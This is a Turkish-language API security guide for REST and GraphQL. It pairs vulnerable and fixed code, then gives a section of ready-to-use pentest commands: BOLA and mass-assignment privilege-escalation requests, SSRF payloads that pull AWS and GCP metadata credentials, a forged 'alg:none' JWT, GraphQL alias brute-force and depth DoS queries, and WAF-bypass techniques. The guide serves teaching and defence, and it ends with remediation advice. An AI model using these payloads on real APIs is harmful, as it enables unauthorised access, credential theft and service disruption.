API Security (REST & GraphQL)
> Yazar: Nurettin Ünal
API (Application Programming Interface) güvenliği; modern web, mobil, mikroservis ve entegrasyon tabanlı sistemlerin güvenlik omurgasını oluşturur. Geleneksel monolitik mimarilerde sunucu tarafında oluşturulan (Server-Side Rendered) sayfalar yerine, günümüzde istemci (SPA, Mobil, IoT) ile sunucu arasında JSON veya XML tabanlı veri transferi yapılmaktadır. Bu mimari değişim, uygulamanın tüm iş mantığını (Business Logic), veri erişim modelini, kimlik doğrulama/yetkilendirme zincirini ve hassas veri işleme süreçlerini doğrudan API katmanına taşımıştır.
REST (Representational State Transfer) ve GraphQL, modern sistemlerde en çok tercih edilen iki operasyonel modeldir. REST, çoğunlukla URI'lar (örn: /api/v1/users/123), HTTP metodları (GET, POST, PUT, DELETE) ve statik endpoint'ler üzerinden kaynak (resource) yönetimi yapar. Savunma ve saldırı yüzeyi genellikle "Endpoint-Level"dır.
GraphQL ise istemcinin veri modelini ve ilişkilerini esnekçe sorgulamasına olanak tanıyan bir sorgu dilidir. Tek bir endpoint (genellikle /graphql) üzerinden çalışır ve arkasında çok katmanlı bir tip sistemi (Type System), ilişkisel şema (Schema) ve çözümleyici (Resolver) hiyerarşisi barındırır. Bu durum, GraphQL'de güvenliğin "Endpoint-Level" yerine "Field/Resolver-Level" ve "AST (Abstract Syntax Tree) Complexity" düzeyinde ele alınmasını zorunlu kılar.
Red Team ve Exploit Developer perspektifinden API'ler, uygulamanın kalbine giden en doğrudan vektördür. Zafiyetler genellikle klasik bellek yolsuzluğu (Memory Corruption) hatalarından ziyade; durumsuz (stateless) protokol doğası, karmaşık JSON/XML ayrıştırıcı (Parser) farklılıkları, çok kiracılı (Multi-Tenant) ortamlardaki izolasyon hataları ve JWT/OAuth gibi token tabanlı mekanizmaların yanlış yapılandırılması sonucu ortaya çıkar. API zafiyetleri yalnızca veri sızıntısına değil, ödeme manipülasyonlarına, yatay/dikey ayrıcalık yükseltmelerine (Privilege Escalation) ve zincirleme SSRF/RCE saldırılarına zemin hazırlar.
How It Works (Teknik Analiz)
API güvenliğini ve zafiyetlerin kök nedenlerini (Root Cause) anlamak için, bir HTTP/gRPC isteğinin uçtan uca ağ ve uygulama katmanındaki yaşam döngüsünü milisaniye düzeyinde incelemek gerekir.
- Transport & Ingress: İstemci, HTTP/1.1, HTTP/2 (veya gRPC) üzerinden TLS ile şifrelenmiş isteği gönderir. İstek, Load Balancer veya API Gateway (Kong, Apigee, Nginx) tarafından karşılanır. Burada TLS sonlandırması (TLS Termination), Rate Limiting, IP Allow/Deny listeleri ve temel WAF kuralları işletilir.
- Routing & Parsing: İstek, backend framework'üne (Express, Spring, FastAPI) ulaşır. Router, URI'yi eşleştirir. Parser'lar HTTP Body'sini (JSON, XML, Multipart, Protobuf) okur ve bellekte ilgili nesnelere (Dictionary, Struct, Object) dönüştürür. Zafiyet noktası: Parser uyumsuzlukları, HPP (HTTP Parameter Pollution), Unicode normalizasyon hataları burada başlar.
- Authentication (Kimlik Doğrulaması): İstek başlığındaki (Headers) token (JWT, Session Cookie, Bearer Token, API Key) doğrulanır. İstemcinin "Kim" olduğu belirlenir.
- Authorization (Yetkilendirme): Sistem, doğrulanan kimliğin, talep edilen URI'ye, metoda veya işleme yetkisi olup olmadığını kontrol eder. Zafiyet noktası: BFLA (Broken Function Level Authorization) burada oluşur.
- Data Binding & DTO (Data Transfer Object): Gelen payload, uygulama içindeki iş modellerine bağlanır (Mass Assignment zafiyetlerinin kök nedeni).
- Business Logic & ORM/Database Query: İş mantığı çalıştırılır, veritabanına SQL/NoSQL sorguları atılır. Zafiyet noktası: BOLA/IDOR, tenant izolasyon ihlalleri, SQLi/NoSQLi burada meydana gelir. Veri katmanı, nesnenin gerçek sahibini kontrol etmezse sızıntı başlar.
- Serialization & Response: Veritabanından dönen model, istemciye gönderilmek üzere JSON/XML'e dönüştürülür. Zafiyet noktası: Excessive Data Exposure (Aşırı Veri İfşası) burada gerçekleşir; gizli alanlar (şifre hashleri, internal ID'ler) filtrelenmeden dışarı sızar.
GraphQL özelinde akış daha karmaşıktır. İstek Query veya Mutation olarak gelir. Sunucu bu string'i alır, Lexer ve Parser yardımıyla bir AST (Abstract Syntax Tree) oluşturur. Ardından AST, tanımlı şema (Schema) ile doğrulanır (Validation Phase). Geçerliyse, Execution Phase başlar ve AST'deki her düğüm (Node) için ilgili Resolver fonksiyonu çağrılır. Her resolver'ın kendi yetkilendirme kontrolünü yapması gerekir; yapmazsa iç içe geçmiş (nested) sorgularda veri sızıntısı oluşur.
Vulnerable Code Patterns
API mimarilerinde en sık karşılaşılan güvenlik zafiyetlerinin kod seviyesindeki karşılıkları ve güvenli onarım yöntemleri aşağıda detaylandırılmıştır.
1. Node.js / Express - BOLA (Broken Object Level Authorization)
Güvensiz Pattern: Veritabanı sorgusu, yalnızca istemciden gelen req.params.id değerine güvenir. Kullanıcının (token sahibi) bu verinin sahibi olup olmadığı (Ownership) kontrol edilmez.
// Güvensiz: Sahiplik kontrolü yok. Herhangi bir geçerli token sahibi, başkasının siparişini görebilir.
app.get('/api/orders/:id', async (req, res) => {
const order = await db.order.findUnique({
where: { id: req.params.id }
});
if (!order) return res.status(404).json({ error: 'Order not found' });
return res.json(order);
});
Güvenli Pattern: Sorguya, kimliği doğrulanmış kullanıcının bağlamı (req.user.id) ve gerekiyorsa çoklu kiracı bağlamı (req.user.tenantId) eklenerek "Object-Level" yetkilendirme sağlanır.
// Güvenli: Sahiplik ve tenant (kiracı) bağlamı veritabanı sorgusuna (Data Access Layer) gömülmüştür.
app.get('/api/orders/:id', async (req, res) => {
const order = await db.order.findFirst({
where: {
id: req.params.id,
customerId: req.user.id, // Sahiplik doğrulaması
tenantId: req.user.tenantId // Yatay izolasyon (Multi-Tenant)
},
select: { id: true, total: true, status: true } // Sadece gerekli alanlar (Excessive Data Exposure önlemi)
});
if (!order) return res.status(404).json({ error: 'Order not found' });
return res.json(order);
});
2. Java / Spring Boot - Broken Function Level Authorization (BFLA)
Güvensiz Pattern: Endpoint rotasında "admin" geçmesine rağmen, Spring Security seviyesinde method-level yetkilendirme (örn: @PreAuthorize) unutulmuştur. Global config'de sadece "authenticated" olması yeterli görülmüştür.
// Güvensiz: Kullanıcı giriş yapmışsa (Principal varsa), bu endpoint'i tetikleyebilir.
@DeleteMapping("/api/admin/users/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id, Principal principal) {
userService.deleteUser(id);
return ResponseEntity.noContent().build();
}
Güvenli Pattern: Method seviyesinde kesin rol kontrolü yapılır ve iş mantığında (Service Layer) hedefin silinebilirliği (Self-delete prevention, tenant check) doğrulanır.
// Güvenli: Method seviyesinde yetkilendirme ve Service katmanında detaylı policy kontrolü.
@PreAuthorize("hasAuthority('ADMIN_USER_DELETE')")
@DeleteMapping("/api/admin/users/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id, Authentication auth) {
userService.deleteUserWithPolicyCheck(id, auth);
return ResponseEntity.noContent().build();
}
// Service Layer
public void deleteUserWithPolicyCheck(Long targetUserId, Authentication auth) {
AppUser actor = (AppUser) auth.getPrincipal();
if (actor.getId().equals(targetUserId)) throw new IllegalStateException("Self-delete forbidden");
repository.deleteByIdAndTenantId(targetUserId, actor.getTenantId());
}
3. Python / FastAPI - Mass Assignment (Auto-Binding)
Güvensiz Pattern: İstemciden gelen JSON payload'u, doğrudan veritabanı nesnesinin niteliklerine (attributes) atanır. İstemci is_admin: true gönderirse, sistem bunu kabul eder.
# Güvensiz: Gelen tüm key-value ikilileri modele dinamik olarak basılıyor.
@app.patch("/api/profile")
def update_profile(payload: dict, current_user=Depends(auth_user)):
for key, value in payload.items():
setattr(current_user, key, value) # Tehlikeli: is_admin, role, balance değişebilir
db.session.commit()
return current_user
Güvenli Pattern: DTO (Data Transfer Object) mimarisi kullanılarak Pydantic allowlist modeli oluşturulur. Sadece izin verilen alanların güncellenmesine izin verilir.
# Güvenli: Pydantic ile kesin şema denetimi ve açık allowlist.
from pydantic import BaseModel, EmailStr
class ProfileUpdateRequest(BaseModel):
display_name: str | None = None
phone: str | None = None
@app.patch("/api/profile")
def update_profile(payload: ProfileUpdateRequest, current_user=Depends(auth_user)):
if payload.display_name is not None:
current_user.display_name = payload.display_name
if payload.phone is not None:
current_user.phone = payload.phone
db.session.commit()
return {"id": current_user.id, "display_name": current_user.display_name}
4. GraphQL - Resolver Level Authorization Bypass
Güvensiz Pattern: GraphQL endpoint'i genelde global bir Authentication middleware'i ile korunur. Ancak invoice resolver'ı nesne sahibini kontrol etmez. Şema üzerinden başka ID verildiğinde başkasının faturası döner.
// Güvensiz: Kullanıcı giriş yapmış ama istenen nesnenin ona ait olduğu kontrol edilmiyor (GraphQL BOLA).
const resolvers = {
Query: {
invoice: async (_, { id }, ctx) => {
// ctx.user doğrulanmış olabilir ama nesne sahipliği yok
return ctx.db.invoice.findUnique({ where: { id } });
}
}
};
Güvenli Pattern: Her resolver, kendi içindeki Context (ctx) üzerinden erişim modelini (Data Access Policy) işletmek zorundadır.
// Güvenli: Resolver seviyesinde bağlamsal (Contextual) yetkilendirme.
const resolvers = {
Query: {
invoice: async (_, { id }, ctx) => {
if (!ctx.user) throw new Error('Unauthenticated');
return ctx.db.invoice.findFirst({
where: {
id: id,
customerId: ctx.user.id, // Kesin sahiplik
tenantId: ctx.user.tenantId // İzole kiracı alanı
}
});
}
}
};
5. JWT (JSON Web Token) - Insecure Verification
Güvensiz Pattern: verify fonksiyonu çağrılırken algoritma kısıtlaması (Algorithm Allowlist) yapılmamıştır. {"alg": "none"} veya Asimetrik anahtar yerine Simetrik anahtar (HS256) karmaşası (CVE-2015-9235) yaşanabilir.
// Güvensiz: Algoritma dayatması yok, Issuer/Audience kontrolü yok.
const decoded = jwt.verify(token, publicKey);
Güvenli Pattern: Kriptografik standartlar açıkça dikte edilir.
// Güvenli: Explicit verification policy (Açık doğrulama politikası).
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // Yalnızca RSA kabul et, HMAC bypassını engelle
issuer: 'https://auth.example.com',
audience: 'api://backend-service',
clockTolerance: 5 // Zaman kaymalarına karşı pay
});
Detection & Enumeration (Keşif ve Analiz)
Modern API'lerde keşif süreci, sadece dizin taramaktan ibaret değildir. Amaç; veri modelini, tip sistemlerini, rol matrisini (Role Matrix), kimlik doğrulama mekanizmalarını, parser davranışlarını ve hata mesajlarının karakteristiğini tersine mühendislikle ortaya çıkarmaktır.
1. Endpoint Inventory ve Surface Mapping (Yüzey Haritalama) Uygulamanın aktif, pasif (deprecated), test ve admin endpoint'lerini bulmak ilk aşamadır.
- OpenAPI/Swagger Keşfi: Geliştiriciler genellikle dokümantasyonu yayında unuturlar.
/v1/api-docs,/swagger.json,/openapi.jsonhedeflenmelidir. - JavaScript Bundle Analizi: SPA (React/Vue/Angular) uygulamalarında webpack/vite çıktıları tüm backend route'larını barındırır.
- Method Probing: REST mimarisi gereği aynı URI'ye farklı metodlar (GET, POST, PUT, PATCH, DELETE, OPTIONS) atılarak izin verilen metodlar (Allow header) ve gizli fonksiyonlar tespit edilir.
2. Authentication Analizi Auth yapısı; Stateful (Session/Cookie) mu yoksa Stateless (JWT/Opaque Token) mu? API Key mi kullanılıyor?
- Refresh token mekanizması incelenir. Token ömrü (TTL) çok mu uzun? Token geçersiz kılma (Revocation) mekanizması gerçekten çalışıyor mu? (Token ile çıkış yapıp, aynı token ile tekrar istek atmak test edilir).
3. Authorization Matrix Karşılaştırması (Rol Tabanlı Fuzzing) Farklı yetkilere sahip hesaplar (Anonim, User_A, User_B, Tenant_A_User, Admin) ile aynı endpoint'lere çapraz istekler gönderilerek HTTP 401, 403, 404, veya 200 dönüp dönmediği analiz edilir.
- Burada sadece HTTP Status Code'a güvenilmez. Body boyutu (Content-Length), Response Time (Time-based Inference) farklılıkları BOLA/BFLA zafiyetlerini ele verir.
4. Error Handling ve Side-Channel Analizi Sistemin hatalara verdiği tepkiler (Stack Trace sızıntıları, DB hata mesajları) WAF kurallarını aşmak ve arka plan mimarisini anlamak için kritik veriler sunar.
- Aynı ID için
GET /users/999(yetkisiz) ileGET /users/1(yetkisiz) arasında "403 Forbidden" ile "404 Not Found" farkı varsa, sistemde 999 nolu kullanıcının varlığı kanıtlanmış olur (User Enumeration).
5. GraphQL Introspection ve Schema Discovery GraphQL yapılarında en büyük keşif aracı Introspection sorgularıdır. Şema ifşası açıksa, tüm Type, Field, Query ve Mutation'lar saniyeler içinde dökülür. İntrospection kapalıysa, Fuzzing ve Error-based çıkarımlarla şema haritalanır.
Attack Vectors & Exploitation (İstismar Vektörleri)
API güvenliğinde istismar vektörleri, genellikle OWASP API Security Top 10 (2023) etrafında şekillenir. Aşağıda Red Team operasyonlarında sahada karşılaşılan tüm varyasyonlar teknik derinlikle ele alınmıştır.
Broken Object Level Authorization (BOLA / IDOR)
API1:2023. Sistem, nesneye erişim talep edildiğinde (ID üzerinden) nesnenin mülkiyetini kontrol etmez.
- ID Predictability: Sıralı tam sayılar (Sequential Integers) kullanılıyorsa,
/api/receipts/1001değerini1002,1003yaparak tüm makbuzlar exfiltre edilir. (UUIDv4 kullanılması bunu zorlaştırır ama BOLA'yı çözmez). - Path/Query Parameter BOLA:
/api/users/me/orders?order_id=55veya/api/users/77/profile - Cross-Tenant BOLA (Multi-Tenant): Kullanıcı UUID'leri tahmin edilemez olabilir, ancak bir kullanıcı B kiracısına (Tenant) ait bir objenin UUID'sini biliyorsa (örneğin paylaşılan bir link üzerinden sızdıysa) ve erişim sağlarsa bu en yıkıcı BOLA tipidir.
Broken Function Level Authorization (BFLA)
API5:2023. Sistemin işlevsel (Fonksiyonel) seviyede yetkiyi doğrulamamasıdır.
- Method Değişimi: Kullanıcı kendi profilini
GET /api/profileile okuyabilir. AncakDELETE /api/profileveyaDELETE /api/users/1gönderdiğinde, sunucu bu isteği sadece "giriş yapmış" olarak değerlendirip silme işlevini çalıştırabilir. - Admin Endpoint Sızıntısı: Uygulamada gizlenmiş
/api/v1/admin/export_usersrotasının, standart bir kullanıcının JWT'si ile tetiklenebilmesi durumudur. WAF veya Gateway'de yapılandırılmamış, sadece Frontend seviyesinde gizlenmiş menüler (Security by Obscurity) BFLA'ya yol açar.
Broken Object Property Level Authorization (Mass Assignment & Excessive Data Exposure)
API3:2023. API endpoint'inin, nesnenin sadece belirli özelliklerine (property) değil, tamamına açık erişim veya yazma izni vermesidir.
- Excessive Data Exposure:
GET /api/users/12isteği sonucunda sadece ad/soyad dönmesi gerekirken{"id":12, "name":"Ahmet", "ssn":"...", "password_hash":"...", "mfa_secret":"..."}dönmesidir. DTO/Serializer eksikliğinden kaynaklanır. - Mass Assignment: İstemci,
POST /api/registerendpoint'ine{ "username":"hacker", "password":"123", "role":"admin" }gönderir. Object Relational Mapping (ORM) kütüphanesi, güvenlik filtresi (Allowlist) olmadığı içinroledeğişkenini doğrudan veritabanına yazar. Dikey Ayrıcalık Yükseltme (Vertical Privilege Escalation) gerçekleşir.
Unrestricted Resource Consumption (DoS / Hız Sınırı Atlatma)
API4:2023. API'nin CPU, Bellek, Ağ ve Storage kaynaklarının suistimal edilmesidir. Sadece bant genişliği DoS'u değil, uygulama katmanı iş mantığı tükenmişliğidir.
- Pagination/Limit Abuse:
/api/users?limit=10yerine/api/users?limit=9999999gönderilerek veritabanında "Full Table Scan" yaratılması ve belleğin OOM (Out of Memory) olması hedeflenir. - SMS/Email Bombing (Business Logic DoS): OTP (One Time Password) gönderim API'sine ardışık binlerce istek atılarak şirketin bulut fatura maliyetlerinin katlanması (Financial DoS) ve sistemin kilitlenmesi sağlanır.
Server-Side Request Forgery (SSRF) in APIs
API7:2023. Webhook'lar, PDF/Resim oluşturucular, URL Preview özelliklerinin suistimali ile API sunucusunun iç ağa (Intranet) veya bulut Meta-Data servislerine istek yapmaya zorlanmasıdır.
- Cloud Metadata Exfiltration: Payload olarak
http://169.254.169.254/latest/meta-data/iam/security-credentials/verilerek AWS IAM yetkileri çalınabilir. - Blind SSRF: Sonuç dönmese bile (OOB - Out of Band) Response Time'a bakarak iç ağ port taraması yapılabilir (örneğin: Redis
127.0.0.1:6379, Elasticsearch127.0.0.1:9200).
Security Misconfiguration & Improper Inventory
API8:2023 / API9:2023.
- Shadow APIs / Zombie APIs: Eski mobil versiyonlar için yazılmış
/api/v1/endpoint'leri yayında unutulmuştur./v2/güvenli olsa da/v1/BOLA zafiyeti barındırır. - Incomplete CORS Policies:
Access-Control-Allow-Origin: *ile birlikte kimlik bilgilerinin (Credentials) kabul edilmesi. (Tarayıcı kısıtlamaları bunu engellese de Regex hataları*.example.comyerinehacker-example.comkabulüne neden olabilir). - Verb Tampering:
GETvePOSTiçin filtre yazılmışken, isteğinHEADveyaOPTIONSolarak gönderilerek WAF/Gateway kısıtlamalarının aşılması.
Token Security Failures (JWT & OAuth)
API2:2023 (Broken Authentication).
- Algorithm Confusion (CVE-2015-9235 vb.): RS256 bekleyen sunucuya HS256 (Simetrik) JWT göndermek ve imza anahtarı olarak sunucunun Public Key'ini kullanarak sahte token üretmek.
- None Algorithm Bypass: Base64 header'ı
{"alg":"none"}olarak değiştirip imzayı silerek sisteme admin olarak girmek. - JWT Cracking: Güçsüz secret (örn:
secret123) kullanıldıysahashcatveyajohnile JWT secret'ını çevrimdışı (offline) kırmak ve istenilen claim'ler ile yeni token imzalamak.
GraphQL Specific Attack Vectors
GraphQL'in doğası gereği REST'te olmayan çok kritik zafiyet vektörleri mevcuttur.
- Introspection / Schema Leak: GraphQL şemasının sızdırılması ile tüm veri haritasının çıkarılması.
- Depth Attack (Derinlik Saldırısı): İlişkisel verilerin iç içe sonsuz döngüyle (örneğin:
author -> posts -> author -> posts) çağrılarak sunucu CPU'sunun ve belleğinin tüketilmesi (AST DoS). - Alias Abuse: Aynı GraphQL sorgusu içerisinde
alias1: user(id:1),alias2: user(id:2)şeklinde tek bir HTTP isteğinde yüzlerce nesnenin çağrılarak Rate Limiting mekanizmasının bypass edilmesi. - Batching Attacks: Apollo veya benzeri sunucuların desteklediği array tabanlı batch istekleri ile şifre kırma (Brute-Force) saldırılarının tek HTTP isteğinde binlerce kez yapılabilmesi.
Payloads & Advanced Commands
Bu bölümde Sızma Testi ve Red Team operasyonlarında doğrudan kullanılabilecek, gelişmiş tespit ve istismar komutları yer almaktadır.
REST BOLA & AuthZ Payloads
BOLA testi için aynı yetki seviyesinde veya farklı tenant'ta iki token kullanılarak karşılaştırma yapılır.
# Değişken tanımlamaları (Token A ve Token B farklı kullanıcılara aittir)
export TOKEN_A="eyJhbGci..."
export TOKEN_B="eyJhbGci..."
export TARGET_ID="1005" # Token A'nın sahibi olduğu kaynak
# 1. Kaynak sahibinin normal erişimi (Kontrol)
curl -s -X GET "https://api.target.com/v1/invoices/$TARGET_ID" \
-H "Authorization: Bearer $TOKEN_A" | jq .
# 2. BOLA Testi: Token B ile Token A'nın kaynağına erişim (Cross-User IDOR)
curl -s -X GET "https://api.target.com/v1/invoices/$TARGET_ID" \
-H "Authorization: Bearer $TOKEN_B" | jq .
# 3. HTTP Method Değiştirme (BFLA Testi) - Salt okunur yetki ile Silme denemesi
curl -i -X DELETE "https://api.target.com/v1/invoices/$TARGET_ID" \
-H "Authorization: Bearer $TOKEN_B"
Mass Assignment Payloads
Kayıt veya profil güncelleme endpoint'lerinde gizli alanların enjekte edilmesi.
# Orijinal Request (Sadece ad güncelleniyor)
curl -s -X PATCH https://api.target.com/api/profile \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"display_name":"Hacker"}'
# Mass Assignment Injection 1 (Rol/Ayrıcalık Yükseltme)
curl -s -X PATCH https://api.target.com/api/profile \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"display_name":"Hacker","role":"admin", "is_admin":true}'
# Mass Assignment Injection 2 (Tenant Değiştirme / Bakiye Manipülasyonu)
curl -s -X PATCH https://api.target.com/api/profile \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"tenant_id":"1","account_balance":999999}'
Pagination & Filtering Abuse Payloads
Aşırı kaynak tüketimi (DoS) veya Veritabanı Full Scan tetiklemeleri.
# Limit Abuse (Max int veya yüksek değerler)
curl -i "https://api.target.com/api/users?limit=999999999&offset=0" \
-H "Authorization: Bearer $TOKEN"
# Array based pollution
curl -i "https://api.target.com/api/products?id=1&id=2&id=3&id=4..." \
-H "Authorization: Bearer $TOKEN"
# Wildcard / Regex DoS (ReDoS) denemesi (Arama filtrelerinde)
curl -i "https://api.target.com/api/search?q=^([a-zA-Z0-9])+\s+$" \
-H "Authorization: Bearer $TOKEN"
GraphQL Introspection & Schema Extraction
GraphQL şemasını çekmek ve JSON formatında bilgisayara kaydetmek için.
# Full Introspection Query (Modern Format)
curl -s -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{
"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } }"
}' | jq . > schema_dump.json
GraphQL Depth & Alias Abuse Payloads
GraphQL motorunu kilitlemek veya Rate Limit'leri atlatmak.
# Depth Attack (Circular Reference DoS)
curl -s -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"query { user(id:1) { posts { author { posts { author { posts { id } } } } } } }"}'
# Alias Abuse (Brute Force / Rate Limit Bypass)
# Aynı Query içinde 100 kere login denemesi yaparak WAF/RateLimit aşma.
curl -s -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation {
brute1: login(username:\"admin\",password:\"123456\"){token}
brute2: login(username:\"admin\",password:\"password\"){token}
brute3: login(username:\"admin\",password:\"qwerty\"){token}
brute4: login(username:\"admin\",password:\"admin\"){token}
}"}'
SSRF (Server-Side Request Forgery) Payloads
Bulut ortamları ve Localhost hedeflenerek Out-of-Band (OOB) veya direkt veri çekme.
# AWS Metadata Endpoint (IMDSv1)
curl -s -X POST https://api.target.com/api/webhooks/create \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"webhook_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-role"}'
# Google Cloud Metadata (Özel Header gerektirir, SSRF bypass teknikleri ile birleştirilir)
# Bazen SSRF noktası header eklemeye izin verebilir.
curl -s -X POST https://api.target.com/api/fetch_image \
-H "Content-Type: application/json" \
-d '{"image_url":"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
# Local Port Scanning via SSRF (Time-based kör SSRF)
# Eğer dönen süre > 1sn ise port kapalı, < 0.1sn ise port açık çıkarımı yapılabilir.
curl -s -X POST https://api.target.com/api/preview \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:22"}'
JWT Manipulation Commands
JWT'nin terminal üzerinden hızlıca parse edilmesi ve algoritma bypass payload'u.
# JWT Decode (Header, Payload, Signature ayırma) - Python One-Liner
export JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJyb2xlIjoidXNlciJ9.signature_part_here"
python3 -c "import sys, base64, json; token=sys.argv[1].split('.'); print('\nHEADER:\n', json.dumps(json.loads(base64.urlsafe_b64decode(token[0] + '==')), indent=2)); print('\nPAYLOAD:\n', json.dumps(json.loads(base64.urlsafe_b64decode(token[1] + '==')), indent=2))" "$JWT"
# "None" Algorithm Payload üretme (İmza kısmı boş bırakılır)
export HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-')
export PAYLOAD=$(echo -n '{"sub":"123","role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-')
export MALICIOUS_JWT="$HEADER.$PAYLOAD."
echo "Zararlı JWT: $MALICIOUS_JWT"
Automated Discovery & Fuzzing Commands
API dizinleri ve BOLA noktalarını tespit etmek için ffuf kullanımı.
# API Endpoint Discovery (Wordlist tabanlı)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-u https://api.target.com/FUZZ \
-H "Authorization: Bearer $TOKEN" \
-mc 200,401,403 -c
# ID Fuzzing (BOLA Testi) - 1'den 1000'e kadar ID dener
ffuf -w <(seq 1 1000) -u https://api.target.com/api/v1/orders/FUZZ \
-H "Authorization: Bearer $TOKEN" \
-mc 200 -c -fl 50 # 50 satırlık standart 404/Yetkisiz yanıtlarını filtrele (Filter Lines)
Bypass & Obfuscation (Atlatma Teknikleri)
API Gateways, WAF (Web Application Firewall) veya IDS/IPS (Intrusion Detection Systems) mekanizmalarını atlatmak için çeşitli parser karmaşalarından (Parser Confusion) yararlanılır.
1. HTTP Parameter Pollution (HPP) Birçok API framework'ü aynı parametre birden fazla kez gönderildiğinde farklı tepkiler verir.
- PHP / Apache: İlk parametreyi alır.
- Express / Node.js: Parametreleri virgülle ayrılmış Array yapar.
- Go / ASP.NET: Son parametreyi alır.
WAF ilk parametreyi (
id=1) güvenli olarak değerlendirirken, Backend son parametreyi (id=999_SQLi) çalıştırabilir:GET /api/user?id=1&id=999_SQLi_Payload
2. Duplicate JSON Keys (JSON Parser Confusion)
JSON RFC'sine göre aynı anahtarın tekrarı belirsizdir. Çoğu modern parser sondakini ezberler. Yetkilendirme middleware'i ilk user_id'ye bakarken, Data Access Layer son user_id'yi işleyebilir.
{
"user_id": 1,
"amount": 50,
"user_id": 888
}
3. Type Juggling / Normalization Gaps
Sistem "string" beklerken "array" veya "boolean" göndermek, zayıf dillerde (PHP, eski Node.js) filtreleri veya limit mekanizmalarını bozabilir.
Büyük/Küçük harf (Case Sensitivity) farklılıkları (Örn: admin yerine Admin, ADMIN) rolleri mapleyen basit Regex'leri kırabilir. Aynı şekilde Unicode normalizasyon hataları (URL encoded %ef%bc%8f gibi karakterlerin içerde / slash'a dönüşmesi) Path Traversal veya BFLA bypass sağlayabilir.
4. Line-Feed / Carriage Return (CRLF) Injection in Headers
WAF veya proxy kurallarını bypass etmek için, JWT token'ın veya header değerlerinin sonuna \n, \r\n (%0d%0a) eklemek. Gateway bunu zararsız görebilir ancak arka plandaki parser bunu işlerken komut enjeksiyonuna (Header Splitting) mahal verebilir.
5. GraphQL Obfuscation (WAF Bypass) GraphQL sorgularını yakalayan WAF'ları atlatmak için boşluk, satır sonu ve Fragment kullanımı:
# WAF "system" kelimesini yakalıyorsa Fragment ile gizleme:
query {
... on User {
sy
... on Fragment2 {
stem { id }
}
}
}
Remediation & Prevention (Önleme ve Savunma)
API güvenliğinde kalıcı savunma; "Yama (Patch)" mantığından ziyade "Politika Odaklı Mimari (Policy-Driven Architecture)" kurularak sağlanır. Zero Trust (Sıfır Güven) prensibi her katmanda işletilmelidir.
1. Merkezi ve Bağlamsal Yetkilendirme (Centralized Server-Side AuthZ)
- Erişim denetimi controller seviyesinde rastgele "if" bloklarına bırakılmamalıdır. Open Policy Agent (OPA) gibi Policy-as-Code araçları veya merkezi Security Gateway'ler kullanılmalıdır.
- Object-Level (BOLA Önlemi): Data Access Layer (Veri Katmanı) tenant_id ve user_id olmadan nesne getirmemelidir (Global Scoped Queries).
- Property-Level: İstemciye dönecek veriler için kesin yapılandırılmış Data Transfer Object'ler (DTO/Serializer) kullanılmalı, entity objeleri (ORM Modelleri) doğrudan dışarı asla yansıtılmamalıdır.
2. Güçlü Girdi Doğrulaması (Strict Input Validation) ve Şema Dayatması
- REST API'lerde OpenAPI/Swagger Contrat Validation ile gelen tip ve boyutlar otomatik reddedilmelidir. (Pydantic, Joi, Zod kullanımı).
- GraphQL API'lerinde özel (Custom) Scalar tipler oluşturulmalı (Örn:
Email,UUIDtipi tanımlanmalı, sadeceStringkullanılmamalıdır).
3. GraphQL Hardening (Sertleştirme)
- Production (Canlı) ortamda Introspection KESİNLİKLE kapatılmalıdır.
- Depth Limit (Derinlik Limiti): AST ağacı derinliği (örneğin Max 5) ile sınırlandırılmalıdır (
graphql-depth-limitkütüphanesi vb.). - Query Complexity Analysis: Her alana (field) bir maliyet (Cost) atanmalı ve toplam sorgu maliyeti limiti aşıyorsa reddedilmelidir.
- Mümkünse Persisted Queries (Kalıcı Sorgular) kullanılarak sadece önceden tanımlanmış ve hash'lenmiş sorguların çalışmasına izin verilmelidir.
4. Kaynak Tüketimi ve Rate Limiting (Hız Sınırlandırma)
- Tüm API anahtarlarına ve kullanıcı kimliklerine kota ve Rate Limit uygulanmalıdır.
- Login, Şifre Sıfırlama ve OTP servislerine Agresif Rate Limit ve CAPTCHA (veya cihaz parmak izi tespiti) entegre edilmelidir.
- Rate Limit, IP bazlı yerine Token / Client_ID bazlı yapılandırılmalıdır (Dağıtık IP saldırılarına karşı).
5. Güvenli Token Yönetimi
- Access Token'ların ömrü (TTL) maksimum 5-15 dakika olmalıdır.
- Refresh Token Rotation (Döndürme) uygulanmalı; her kullanımda yeni bir Refresh Token verilmeli ve eski Refresh Token tekrar kullanıldığında tüm zincir iptal edilmelidir (Token Hijacking önlemi).
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
